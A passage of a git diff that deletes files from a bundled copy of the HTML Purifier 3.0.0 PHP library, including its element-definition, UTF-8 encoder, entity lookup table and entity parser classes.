not the current document is XML - * based or not). - */ - public function make($config) { - $original_doctype = $this->get($this->getDoctypeFromConfig($config)); - $doctype = $original_doctype->copy(); - return $doctype; - } - - /** - * Retrieves the doctype from the configuration object - */ - public function getDoctypeFromConfig($config) { - // recommended test - $doctype = $config->get('HTML', 'Doctype'); - if (!empty($doctype)) return $doctype; - $doctype = $config->get('HTML', 'CustomDoctype'); - if (!empty($doctype)) return $doctype; - // backwards-compatibility - if ($config->get('HTML', 'XHTML')) { - $doctype = 'XHTML 1.0'; - } else { - $doctype = 'HTML 4.01'; - } - if ($config->get('HTML', 'Strict')) { - $doctype .= ' Strict'; - } else { - $doctype .= ' Transitional'; - } - return $doctype; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ElementDef.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ElementDef.php deleted file mode 100644 index a16dc5d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ElementDef.php +++ /dev/null @@ -1,175 +0,0 @@ -<?php - -/** - * Structure that stores an HTML element definition. Used by - * HTMLPurifier_HTMLDefinition and HTMLPurifier_HTMLModule. - * @note This class is inspected by HTMLPurifier_Printer_HTMLDefinition. - * Please update that class too. - */ -class HTMLPurifier_ElementDef -{ - - /** - * Does the definition work by itself, or is it created solely - * for the purpose of merging into another definition? - */ - public $standalone = true; - - /** - * Associative array of attribute name to HTMLPurifier_AttrDef - * @note Before being processed by HTMLPurifier_AttrCollections - * when modules are finalized during - * HTMLPurifier_HTMLDefinition->setup(), this array may also - * contain an array at index 0 that indicates which attribute - * collections to load into the full array. It may also - * contain string indentifiers in lieu of HTMLPurifier_AttrDef, - * see HTMLPurifier_AttrTypes on how they are expanded during - * HTMLPurifier_HTMLDefinition->setup() processing. - */ - public $attr = array(); - - /** - * Indexed list of tag's HTMLPurifier_AttrTransform to be done before validation - */ - public $attr_transform_pre = array(); - - /** - * Indexed list of tag's HTMLPurifier_AttrTransform to be done after validation - */ - public $attr_transform_post = array(); - - /** - * HTMLPurifier_ChildDef of this tag. - */ - public $child; - - /** - * Abstract string representation of internal ChildDef rules. See - * HTMLPurifier_ContentSets for how this is parsed and then transformed - * into an HTMLPurifier_ChildDef. - * @warning This is a temporary variable that is not available after - * being processed by HTMLDefinition - */ - public $content_model; - - /** - * Value of $child->type, used to determine which ChildDef to use, - * used in combination with $content_model. - * @warning This must be lowercase - * @warning This is a temporary variable that is not available after - * being processed by HTMLDefinition - */ - public $content_model_type; - - - - /** - * Does the element have a content model (#PCDATA | Inline)*? This - * is important for chameleon ins and del processing in - * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't - * have to worry about this one. - */ - public $descendants_are_inline = false; - - /** - * List of the names of required attributes this element has. Dynamically - * populated by HTMLPurifier_HTMLDefinition::getElement - */ - public $required_attr = array(); - - /** - * Lookup table of tags excluded from all descendants of this tag. - * @note SGML permits exclusions for all descendants, but this is - * not possible with DTDs or XML Schemas. W3C has elected to - * use complicated compositions of content_models to simulate - * exclusion for children, but we go the simpler, SGML-style - * route of flat-out exclusions, which correctly apply to - * all descendants and not just children. Note that the XHTML - * Modularization Abstract Modules are blithely unaware of such - * distinctions. - */ - public $excludes = array(); - - /** - * Is this element safe for untrusted users to use? - */ - public $safe; - - /** - * Low-level factory constructor for creating new standalone element defs - */ - public static function create($safe, $content_model, $content_model_type, $attr) { - $def = new HTMLPurifier_ElementDef(); - $def->safe = (bool) $safe; - $def->content_model = $content_model; - $def->content_model_type = $content_model_type; - $def->attr = $attr; - return $def; - } - - /** - * Merges the values of another element definition into this one. - * Values from the new element def take precedence if a value is - * not mergeable. - */ - public function mergeIn($def) { - - // later keys takes precedence - foreach($def->attr as $k => $v) { - if ($k === 0) { - // merge in the includes - // sorry, no way to override an include - foreach ($v as $v2) { - $this->attr[0][] = $v2; - } - continue; - } - if ($v === false) { - if (isset($this->attr[$k])) unset($this->attr[$k]); - continue; - } - $this->attr[$k] = $v; - } - $this->_mergeAssocArray($this->attr_transform_pre, $def->attr_transform_pre); - $this->_mergeAssocArray($this->attr_transform_post, $def->attr_transform_post); - $this->_mergeAssocArray($this->excludes, $def->excludes); - - if(!empty($def->content_model)) { - $this->content_model .= ' | ' . $def->content_model; - $this->child = false; - } - if(!empty($def->content_model_type)) { - $this->content_model_type = $def->content_model_type; - $this->child = false; - } - if(!is_null($def->child)) $this->child = $def->child; - if($def->descendants_are_inline) $this->descendants_are_inline = $def->descendants_are_inline; - if(!is_null($def->safe)) $this->safe = $def->safe; - - } - - /** - * Merges one array into another, removes values which equal false - * @param $a1 Array by reference that is merged into - * @param $a2 Array that merges into $a1 - */ - private function _mergeAssocArray(&$a1, $a2) { - foreach ($a2 as $k => $v) { - if ($v === false) { - if (isset($a1[$k])) unset($a1[$k]); - continue; - } - $a1[$k] = $v; - } - } - - /** - * Retrieves a copy of the element definition - */ - public function copy() { - return unserialize(serialize($this)); - } - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Encoder.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Encoder.php deleted file mode 100644 index 4720967..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Encoder.php +++ /dev/null @@ -1,395 +0,0 @@ -<?php - -HTMLPurifier_ConfigSchema::define( - 'Core', 'Encoding', 'utf-8', 'istring', - 'If for some reason you are unable to convert all webpages to UTF-8, '. - 'you can use this directive as a stop-gap compatibility change to '. - 'let HTML Purifier deal with non UTF-8 input. This technique has '. - 'notable deficiencies: absolutely no characters outside of the selected '. - 'character encoding will be preserved, not even the ones that have '. - 'been ampersand escaped (this is due to a UTF-8 specific <em>feature</em> '. - 'that automatically resolves all entities), making it pretty useless '. - 'for anything except the most I18N-blind applications, although '. - '%Core.EscapeNonASCIICharacters offers fixes this trouble with '. - 'another tradeoff. This directive '. - 'only accepts ISO-8859-1 if iconv is not enabled.' -); - -HTMLPurifier_ConfigSchema::define( - 'Core', 'EscapeNonASCIICharacters', false, 'bool', - 'This directive overcomes a deficiency in %Core.Encoding by blindly '. - 'converting all non-ASCII characters into decimal numeric entities before '. - 'converting it to its native encoding. This means that even '. - 'characters that can be expressed in the non-UTF-8 encoding will '. - 'be entity-ized, which can be a real downer for encodings like Big5. '. - 'It also assumes that the ASCII repetoire is available, although '. - 'this is the case for almost all encodings. Anyway, use UTF-8! This '. - 'directive has been available since 1.4.0.' -); - -if ( !function_exists('iconv') ) { - // only encodings with native PHP support - HTMLPurifier_ConfigSchema::defineAllowedValues( - 'Core', 'Encoding', array( - 'utf-8', - 'iso-8859-1' - ) - ); - HTMLPurifier_ConfigSchema::defineValueAliases( - 'Core', 'Encoding', array( - 'iso8859-1' => 'iso-8859-1' - ) - ); -} - -HTMLPurifier_ConfigSchema::define( - 'Test', 'ForceNoIconv', false, 'bool', - 'When set to true, HTMLPurifier_Encoder will act as if iconv does not '. - 'exist and use only pure PHP implementations.' -); - -/** - * A UTF-8 specific character encoder that handles cleaning and transforming. - * @note All functions in this class should be static. - */ -class HTMLPurifier_Encoder -{ - - /** - * Constructor throws fatal error if you attempt to instantiate class - */ - private function __construct() { - trigger_error('Cannot instantiate encoder, call methods statically', E_USER_ERROR); - } - - /** - * Cleans a UTF-8 string for well-formedness and SGML validity - * - * It will parse according to UTF-8 and return a valid UTF8 string, with - * non-SGML codepoints excluded. - * - * @note Just for reference, the non-SGML code points are 0 to 31 and - * 127 to 159, inclusive. However, we allow code points 9, 10 - * and 13, which are the tab, line feed and carriage return - * respectively. 128 and above the code points map to multibyte - * UTF-8 representations. - * - * @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and - * hsivonen@iki.fi at <http://iki.fi/hsivonen/php-utf8/> under the - * LGPL license. Notes on what changed are inside, but in general, - * the original code transformed UTF-8 text into an array of integer - * Unicode codepoints. Understandably, transforming that back to - * a string would be somewhat expensive, so the function was modded to - * directly operate on the string. However, this discourages code - * reuse, and the logic enumerated here would be useful for any - * function that needs to be able to understand UTF-8 characters. - * As of right now, only smart lossless character encoding converters - * would need that, and I'm probably not going to implement them. - * Once again, PHP 6 should solve all our problems. - */ - public static function cleanUTF8($str, $force_php = false) { - - static $non_sgml_chars = array(); - if (empty($non_sgml_chars)) { - for ($i = 0; $i <= 31; $i++) { - // non-SGML ASCII chars - // save \r, \t and \n - if ($i == 9 || $i == 13 || $i == 10) continue; - $non_sgml_chars[chr($i)] = ''; - } - for ($i = 127; $i <= 159; $i++) { - $non_sgml_chars[HTMLPurifier_Encoder::unichr($i)] = ''; - } - } - - static $iconv = null; - if ($iconv === null) $iconv = function_exists('iconv'); - - if ($iconv && !$force_php) { - // do the shortcut way - $str = @iconv('UTF-8', 'UTF-8//IGNORE', $str); - return strtr($str, $non_sgml_chars); - } - - $mState = 0; // cached expected number of octets after the current octet - // until the beginning of the next UTF8 character sequence - $mUcs4 = 0; // cached Unicode character - $mBytes = 1; // cached expected number of octets in the current sequence - - // original code involved an $out that was an array of Unicode - // codepoints. Instead of having to convert back into UTF-8, we've - // decided to directly append valid UTF-8 characters onto a string - // $out once they're done. $char accumulates raw bytes, while $mUcs4 - // turns into the Unicode code point, so there's some redundancy. - - $out = ''; - $char = ''; - - $len = strlen($str); - for($i = 0; $i < $len; $i++) { - $in = ord($str{$i}); - $char .= $str[$i]; // append byte to char - if (0 == $mState) { - // When mState is zero we expect either a US-ASCII character - // or a multi-octet sequence. - if (0 == (0x80 & ($in))) { - // US-ASCII, pass straight through. - if (($in <= 31 || $in == 127) && - !($in == 9 || $in == 13 || $in == 10) // save \r\t\n - ) { - // control characters, remove - } else { - $out .= $char; - } - // reset - $char = ''; - $mBytes = 1; - } elseif (0xC0 == (0xE0 & ($in))) { - // First octet of 2 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x1F) << 6; - $mState = 1; - $mBytes = 2; - } elseif (0xE0 == (0xF0 & ($in))) { - // First octet of 3 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x0F) << 12; - $mState = 2; - $mBytes = 3; - } elseif (0xF0 == (0xF8 & ($in))) { - // First octet of 4 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x07) << 18; - $mState = 3; - $mBytes = 4; - } elseif (0xF8 == (0xFC & ($in))) { - // First octet of 5 octet sequence. - // - // This is illegal because the encoded codepoint must be - // either: - // (a) not the shortest form or - // (b) outside the Unicode range of 0-0x10FFFF. - // Rather than trying to resynchronize, we will carry on - // until the end of the sequence and let the later error - // handling code catch it. - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x03) << 24; - $mState = 4; - $mBytes = 5; - } elseif (0xFC == (0xFE & ($in))) { - // First octet of 6 octet sequence, see comments for 5 - // octet sequence. - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 1) << 30; - $mState = 5; - $mBytes = 6; - } else { - // Current octet is neither in the US-ASCII range nor a - // legal first octet of a multi-octet sequence. - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char = ''; - } - } else { - // When mState is non-zero, we expect a continuation of the - // multi-octet sequence - if (0x80 == (0xC0 & ($in))) { - // Legal continuation. - $shift = ($mState - 1) * 6; - $tmp = $in; - $tmp = ($tmp & 0x0000003F) << $shift; - $mUcs4 |= $tmp; - - if (0 == --$mState) { - // End of the multi-octet sequence. mUcs4 now contains - // the final Unicode codepoint to be output - - // Check for illegal sequences and codepoints. - - // From Unicode 3.1, non-shortest form is illegal - if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || - ((3 == $mBytes) && ($mUcs4 < 0x0800)) || - ((4 == $mBytes) && ($mUcs4 < 0x10000)) || - (4 < $mBytes) || - // From Unicode 3.2, surrogate characters = illegal - (($mUcs4 & 0xFFFFF800) == 0xD800) || - // Codepoints outside the Unicode range are illegal - ($mUcs4 > 0x10FFFF) - ) { - - } elseif (0xFEFF != $mUcs4 && // omit BOM - !($mUcs4 >= 128 && $mUcs4 <= 159) // omit non-SGML - ) { - $out .= $char; - } - // initialize UTF8 cache (reset) - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char = ''; - } - } else { - // ((0xC0 & (*in) != 0x80) && (mState != 0)) - // Incomplete multi-octet sequence. - // used to result in complete fail, but we'll reset - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char =''; - } - } - } - return $out; - } - - /** - * Translates a Unicode codepoint into its corresponding UTF-8 character. - * @note Based on Feyd's function at - * <http://forums.devnetwork.net/viewtopic.php?p=191404#191404>, - * which is in public domain. - * @note While we're going to do code point parsing anyway, a good - * optimization would be to refuse to translate code points that - * are non-SGML characters. However, this could lead to duplication. - * @note This is very similar to the unichr function in - * maintenance/generate-entity-file.php (although this is superior, - * due to its sanity checks). - */ - - // +----------+----------+----------+----------+ - // | 33222222 | 22221111 | 111111 | | - // | 10987654 | 32109876 | 54321098 | 76543210 | bit - // +----------+----------+----------+----------+ - // | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F - // | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF - // | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF - // | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF - // +----------+----------+----------+----------+ - // | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF) - // | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes - // +----------+----------+----------+----------+ - - public static function unichr($code) { - if($code > 1114111 or $code < 0 or - ($code >= 55296 and $code <= 57343) ) { - // bits are set outside the "valid" range as defined - // by UNICODE 4.1.0 - return ''; - } - - $x = $y = $z = $w = 0; - if ($code < 128) { - // regular ASCII character - $x = $code; - } else { - // set up bits for UTF-8 - $x = ($code & 63) | 128; - if ($code < 2048) { - $y = (($code & 2047) >> 6) | 192; - } else { - $y = (($code & 4032) >> 6) | 128; - if($code < 65536) { - $z = (($code >> 12) & 15) | 224; - } else { - $z = (($code >> 12) & 63) | 128; - $w = (($code >> 18) & 7) | 240; - } - } - } - // set up the actual character - $ret = ''; - if($w) $ret .= chr($w); - if($z) $ret .= chr($z); - if($y) $ret .= chr($y); - $ret .= chr($x); - - return $ret; - } - - /** - * Converts a string to UTF-8 based on configuration. - */ - public static function convertToUTF8($str, $config, $context) { - static $iconv = null; - if ($iconv === null) $iconv = function_exists('iconv'); - $encoding = $config->get('Core', 'Encoding'); - if ($encoding === 'utf-8') return $str; - if ($iconv && !$config->get('Test', 'ForceNoIconv')) { - return @iconv($encoding, 'utf-8//IGNORE', $str); - } elseif ($encoding === 'iso-8859-1') { - return @utf8_encode($str); - } - trigger_error('Encoding not supported', E_USER_ERROR); - } - - /** - * Converts a string from UTF-8 based on configuration. - * @note Currently, this is a lossy conversion, with unexpressable - * characters being omitted. - */ - public static function convertFromUTF8($str, $config, $context) { - static $iconv = null; - if ($iconv === null) $iconv = function_exists('iconv'); - $encoding = $config->get('Core', 'Encoding'); - if ($encoding === 'utf-8') return $str; - if ($config->get('Core', 'EscapeNonASCIICharacters')) { - $str = HTMLPurifier_Encoder::convertToASCIIDumbLossless($str); - } - if ($iconv && !$config->get('Test', 'ForceNoIconv')) { - return @iconv('utf-8', $encoding . '//IGNORE', $str); - } elseif ($encoding === 'iso-8859-1') { - return @utf8_decode($str); - } - trigger_error('Encoding not supported', E_USER_ERROR); - } - - /** - * Lossless (character-wise) conversion of HTML to ASCII - * @param $str UTF-8 string to be converted to ASCII - * @returns ASCII encoded string with non-ASCII character entity-ized - * @warning Adapted from MediaWiki, claiming fair use: this is a common - * algorithm. If you disagree with this license fudgery, - * implement it yourself. - * @note Uses decimal numeric entities since they are best supported. - * @note This is a DUMB function: it has no concept of keeping - * character entities that the projected character encoding - * can allow. We could possibly implement a smart version - * but that would require it to also know which Unicode - * codepoints the charset supported (not an easy task). - * @note Sort of with cleanUTF8() but it assumes that $str is - * well-formed UTF-8 - */ - public static function convertToASCIIDumbLossless($str) { - $bytesleft = 0; - $result = ''; - $working = 0; - $len = strlen($str); - for( $i = 0; $i < $len; $i++ ) { - $bytevalue = ord( $str[$i] ); - if( $bytevalue <= 0x7F ) { //0xxx xxxx - $result .= chr( $bytevalue ); - $bytesleft = 0; - } elseif( $bytevalue <= 0xBF ) { //10xx xxxx - $working = $working << 6; - $working += ($bytevalue & 0x3F); - $bytesleft--; - if( $bytesleft <= 0 ) { - $result .= "&#" . $working . ";"; - } - } elseif( $bytevalue <= 0xDF ) { //110x xxxx - $working = $bytevalue & 0x1F; - $bytesleft = 1; - } elseif( $bytevalue <= 0xEF ) { //1110 xxxx - $working = $bytevalue & 0x0F; - $bytesleft = 2; - } else { //1111 0xxx - $working = $bytevalue & 0x07; - $bytesleft = 3; - } - } - return $result; - } - - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup.php deleted file mode 100644 index f9252a2..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -/** - * Object that provides entity lookup table from entity name to character - */ -class HTMLPurifier_EntityLookup { - - /** - * Assoc array of entity name to character represented. - */ - public $table; - - /** - * Sets up the entity lookup table from the serialized file contents. - * @note The serialized contents are versioned, but were generated - * using the maintenance script generate_entity_file.php - * @warning This is not in constructor to help enforce the Singleton - */ - public function setup($file = false) { - if (!$file) { - $file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/EntityLookup/entities.ser'; - } - $this->table = unserialize(file_get_contents($file)); - } - - /** - * Retrieves sole instance of the object. - * @param Optional prototype of custom lookup table to overload with. - */ - public static function instance($prototype = false) { - // no references, since PHP doesn't copy unless modified - static $instance = null; - if ($prototype) { - $instance = $prototype; - } elseif (!$instance) { - $instance = new HTMLPurifier_EntityLookup(); - $instance->setup(); - } - return $instance; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup/entities.ser b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup/entities.ser deleted file mode 100644 index f2b8b8f..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityLookup/entities.ser +++ /dev/null @@ -1 +0,0 @@ -a:246:{s:4:"nbsp";s:2:" ";s:5:"iexcl";s:2:"¡";s:4:"cent";s:2:"¢";s:5:"pound";s:2:"£";s:6:"curren";s:2:"¤";s:3:"yen";s:2:"¥";s:6:"brvbar";s:2:"¦";s:4:"sect";s:2:"§";s:3:"uml";s:2:"¨";s:4:"copy";s:2:"©";s:4:"ordf";s:2:"ª";s:5:"laquo";s:2:"«";s:3:"not";s:2:"¬";s:3:"shy";s:2:"­";s:3:"reg";s:2:"®";s:4:"macr";s:2:"¯";s:3:"deg";s:2:"°";s:6:"plusmn";s:2:"±";s:5:"acute";s:2:"´";s:5:"micro";s:2:"µ";s:4:"para";s:2:"¶";s:6:"middot";s:2:"·";s:5:"cedil";s:2:"¸";s:4:"ordm";s:2:"º";s:5:"raquo";s:2:"»";s:6:"iquest";s:2:"¿";s:6:"Agrave";s:2:"À";s:6:"Aacute";s:2:"Á";s:5:"Acirc";s:2:"Â";s:6:"Atilde";s:2:"Ã";s:4:"Auml";s:2:"Ä";s:5:"Aring";s:2:"Å";s:5:"AElig";s:2:"Æ";s:6:"Ccedil";s:2:"Ç";s:6:"Egrave";s:2:"È";s:6:"Eacute";s:2:"É";s:5:"Ecirc";s:2:"Ê";s:4:"Euml";s:2:"Ë";s:6:"Igrave";s:2:"Ì";s:6:"Iacute";s:2:"Í";s:5:"Icirc";s:2:"Î";s:4:"Iuml";s:2:"Ï";s:3:"ETH";s:2:"Ð";s:6:"Ntilde";s:2:"Ñ";s:6:"Ograve";s:2:"Ò";s:6:"Oacute";s:2:"Ó";s:5:"Ocirc";s:2:"Ô";s:6:"Otilde";s:2:"Õ";s:4:"Ouml";s:2:"Ö";s:5:"times";s:2:"×";s:6:"Oslash";s:2:"Ø";s:6:"Ugrave";s:2:"Ù";s:6:"Uacute";s:2:"Ú";s:5:"Ucirc";s:2:"Û";s:4:"Uuml";s:2:"Ü";s:6:"Yacute";s:2:"Ý";s:5:"THORN";s:2:"Þ";s:5:"szlig";s:2:"ß";s:6:"agrave";s:2:"à";s:6:"aacute";s:2:"á";s:5:"acirc";s:2:"â";s:6:"atilde";s:2:"ã";s:4:"auml";s:2:"ä";s:5:"aring";s:2:"å";s:5:"aelig";s:2:"æ";s:6:"ccedil";s:2:"ç";s:6:"egrave";s:2:"è";s:6:"eacute";s:2:"é";s:5:"ecirc";s:2:"ê";s:4:"euml";s:2:"ë";s:6:"igrave";s:2:"ì";s:6:"iacute";s:2:"í";s:5:"icirc";s:2:"î";s:4:"iuml";s:2:"ï";s:3:"eth";s:2:"ð";s:6:"ntilde";s:2:"ñ";s:6:"ograve";s:2:"ò";s:6:"oacute";s:2:"ó";s:5:"ocirc";s:2:"ô";s:6:"otilde";s:2:"õ";s:4:"ouml";s:2:"ö";s:6:"divide";s:2:"÷";s:6:"oslash";s:2:"ø";s:6:"ugrave";s:2:"ù";s:6:"uacute";s:2:"ú";s:5:"ucirc";s:2:"û";s:4:"uuml";s:2:"ü";s:6:"yacute";s:2:"ý";s:5:"thorn";s:2:"þ";s:4:"yuml";s:2:"ÿ";s:4:"quot";s:1:""";s:3:"amp";s:1:"&";s:2:"lt";s:1:"<";s:2:"gt";s:1:">";s:4:"apos";s:1:"'";s:5:"OElig";s:2:"Œ";s:5:"oelig";s:2:"œ";s:6:"Scaron";s:2:"Š";s:6:"scaron";s:2:"š";s:4:"Yuml";s:2:"Ÿ";s:4:"circ";s:2:"ˆ";s:5:"tilde";s:2:"˜";s:4:"ensp";s:3:" ";s:4:"emsp";s:3:" ";s:6:"thinsp";s:3:" ";s:4:"zwnj";s:3:"‌";s:3:"zwj";s:3:"‍";s:3:"lrm";s:3:"‎";s:3:"rlm";s:3:"‏";s:5:"ndash";s:3:"–";s:5:"mdash";s:3:"—";s:5:"lsquo";s:3:"‘";s:5:"rsquo";s:3:"’";s:5:"sbquo";s:3:"‚";s:5:"ldquo";s:3:"“";s:5:"rdquo";s:3:"”";s:5:"bdquo";s:3:"„";s:6:"dagger";s:3:"†";s:6:"Dagger";s:3:"‡";s:6:"permil";s:3:"‰";s:6:"lsaquo";s:3:"‹";s:6:"rsaquo";s:3:"›";s:4:"euro";s:3:"€";s:4:"fnof";s:2:"ƒ";s:5:"Alpha";s:2:"Α";s:4:"Beta";s:2:"Β";s:5:"Gamma";s:2:"Γ";s:5:"Delta";s:2:"Δ";s:7:"Epsilon";s:2:"Ε";s:4:"Zeta";s:2:"Ζ";s:3:"Eta";s:2:"Η";s:5:"Theta";s:2:"Θ";s:4:"Iota";s:2:"Ι";s:5:"Kappa";s:2:"Κ";s:6:"Lambda";s:2:"Λ";s:2:"Mu";s:2:"Μ";s:2:"Nu";s:2:"Ν";s:2:"Xi";s:2:"Ξ";s:7:"Omicron";s:2:"Ο";s:2:"Pi";s:2:"Π";s:3:"Rho";s:2:"Ρ";s:5:"Sigma";s:2:"Σ";s:3:"Tau";s:2:"Τ";s:7:"Upsilon";s:2:"Υ";s:3:"Phi";s:2:"Φ";s:3:"Chi";s:2:"Χ";s:3:"Psi";s:2:"Ψ";s:5:"Omega";s:2:"Ω";s:5:"alpha";s:2:"α";s:4:"beta";s:2:"β";s:5:"gamma";s:2:"γ";s:5:"delta";s:2:"δ";s:7:"epsilon";s:2:"ε";s:4:"zeta";s:2:"ζ";s:3:"eta";s:2:"η";s:5:"theta";s:2:"θ";s:4:"iota";s:2:"ι";s:5:"kappa";s:2:"κ";s:6:"lambda";s:2:"λ";s:2:"mu";s:2:"μ";s:2:"nu";s:2:"ν";s:2:"xi";s:2:"ξ";s:7:"omicron";s:2:"ο";s:2:"pi";s:2:"π";s:3:"rho";s:2:"ρ";s:6:"sigmaf";s:2:"ς";s:5:"sigma";s:2:"σ";s:3:"tau";s:2:"τ";s:7:"upsilon";s:2:"υ";s:3:"phi";s:2:"φ";s:3:"chi";s:2:"χ";s:3:"psi";s:2:"ψ";s:5:"omega";s:2:"ω";s:8:"thetasym";s:2:"ϑ";s:5:"upsih";s:2:"ϒ";s:3:"piv";s:2:"ϖ";s:4:"bull";s:3:"•";s:6:"hellip";s:3:"…";s:5:"prime";s:3:"′";s:5:"Prime";s:3:"″";s:5:"oline";s:3:"‾";s:5:"frasl";s:3:"⁄";s:6:"weierp";s:3:"℘";s:5:"image";s:3:"ℑ";s:4:"real";s:3:"ℜ";s:5:"trade";s:3:"™";s:7:"alefsym";s:3:"ℵ";s:4:"larr";s:3:"←";s:4:"uarr";s:3:"↑";s:4:"rarr";s:3:"→";s:4:"darr";s:3:"↓";s:4:"harr";s:3:"↔";s:5:"crarr";s:3:"↵";s:4:"lArr";s:3:"⇐";s:4:"uArr";s:3:"⇑";s:4:"rArr";s:3:"⇒";s:4:"dArr";s:3:"⇓";s:4:"hArr";s:3:"⇔";s:6:"forall";s:3:"∀";s:4:"part";s:3:"∂";s:5:"exist";s:3:"∃";s:5:"empty";s:3:"∅";s:5:"nabla";s:3:"∇";s:4:"isin";s:3:"∈";s:5:"notin";s:3:"∉";s:2:"ni";s:3:"∋";s:4:"prod";s:3:"∏";s:3:"sum";s:3:"∑";s:5:"minus";s:3:"−";s:6:"lowast";s:3:"∗";s:5:"radic";s:3:"√";s:4:"prop";s:3:"∝";s:5:"infin";s:3:"∞";s:3:"ang";s:3:"∠";s:3:"and";s:3:"∧";s:2:"or";s:3:"∨";s:3:"cap";s:3:"∩";s:3:"cup";s:3:"∪";s:3:"int";s:3:"∫";s:3:"sim";s:3:"∼";s:4:"cong";s:3:"≅";s:5:"asymp";s:3:"≈";s:2:"ne";s:3:"≠";s:5:"equiv";s:3:"≡";s:2:"le";s:3:"≤";s:2:"ge";s:3:"≥";s:3:"sub";s:3:"⊂";s:3:"sup";s:3:"⊃";s:4:"nsub";s:3:"⊄";s:4:"sube";s:3:"⊆";s:4:"supe";s:3:"⊇";s:5:"oplus";s:3:"⊕";s:6:"otimes";s:3:"⊗";s:4:"perp";s:3:"⊥";s:4:"sdot";s:3:"⋅";s:5:"lceil";s:3:"⌈";s:5:"rceil";s:3:"⌉";s:6:"lfloor";s:3:"⌊";s:6:"rfloor";s:3:"⌋";s:4:"lang";s:3:"〈";s:4:"rang";s:3:"〉";s:3:"loz";s:3:"◊";s:6:"spades";s:3:"♠";s:5:"clubs";s:3:"♣";s:6:"hearts";s:3:"♥";s:5:"diams";s:3:"♦";} \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityParser.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityParser.php deleted file mode 100644 index c4c6028..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/EntityParser.php +++ /dev/null @@ -1,146 +0,0 @@ -<?php - -require_once 'HTMLPurifier/EntityLookup.php'; -require_once 'HTMLPurifier/Encoder.php'; - -// if want to implement error collecting here, we'll need to use some sort -// of global data (probably trigger_error) because it's impossible to pass -// $config or $context to the callback functions. - -/** - * Handles referencing and derefencing character entities - */ -class HTMLPurifier_EntityParser -{ - - /** - * Reference to entity lookup table. - */ - protected $_entity_lookup; - - /** - * Callback regex string for parsing entities. - */ - protected $_substituteEntitiesRegex = -'/&(?:[#]x([a-fA-F0-9]+)|[#]0*(\d+)|([A-Za-z_:][A-Za-z0-9.\-_:]*));?/'; -// 1. hex 2. dec 3. string (XML style) - - - /** - * Decimal to parsed string conversion table for special entities. - */ - protected $_special_dec2str = - array( - 34 => '"', - 38 => '&', - 39 => "'", - 60 => '<', - 62 => '>' - ); - - /** - * Stripped entity names to decimal conversion table for special entities. - */ - protected $_special_ent2dec = - array( - 'quot' => 34, - 'amp' => 38, - 'lt' => 60, - 'gt' => 62 - ); - - /** - * Substitutes non-special entities with their parsed equivalents. Since - * running this whenever you have parsed character is t3h 5uck, we run - * it before everything else. - * - * @param $string String to have non-special entities parsed. - * @returns Parsed string. - */ - public function substituteNonSpecialEntities($string) { - // it will try to detect missing semicolons, but don't rely on it - return preg_replace_callback( - $this->_substituteEntitiesRegex, - array($this, 'nonSpecialEntityCallback'), - $string - ); - } - - /** - * Callback function for substituteNonSpecialEntities() that does the work. - * - * @param $matches PCRE matches array, with 0 the entire match, and - * either index 1, 2 or 3 set with a hex value, dec value, - * or string (respectively). - * @returns Replacement string. - */ - - protected function nonSpecialEntityCallback($matches) { - // replaces all but big five - $entity = $matches[0]; - $is_num = (@$matches[0][1] === '#'); - if ($is_num) { - $is_hex = (@$entity[2] === 'x'); - $code = $is_hex ? hexdec($matches[1]) : (int) $matches[2]; - - // abort for special characters - if (isset($this->_special_dec2str[$code])) return $entity; - - return HTMLPurifier_Encoder::unichr($code); - } else { - if (isset($this->_special_ent2dec[$matches[3]])) return $entity; - if (!$this->_entity_lookup) { - $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - if (isset($this->_entity_lookup->table[$matches[3]])) { - return $this->_entity_lookup->table[$matches[3]]; - } else { - return $entity; - } - } - } - - /** - * Substitutes only special entities with their parsed equivalents. - * - * @notice We try to avoid calling this function because otherwise, it - * would have to be called a lot (for every parsed section). - * - * @param $string String to have non-special entities parsed. - * @returns Parsed string. - */ - public function substituteSpecialEntities($string) { - return preg_replace_callback( - $this->_substituteEntitiesRegex, - array($this, 'specialEntityCallback'), - $string); - } - - /** - * Callback function for substituteSpecialEntities() that does the work. - * - * This callback has same syntax as nonSpecialEntityCallback(). - * - * @param $matches PCRE-style matches array, with 0 the entire match, and - * either index 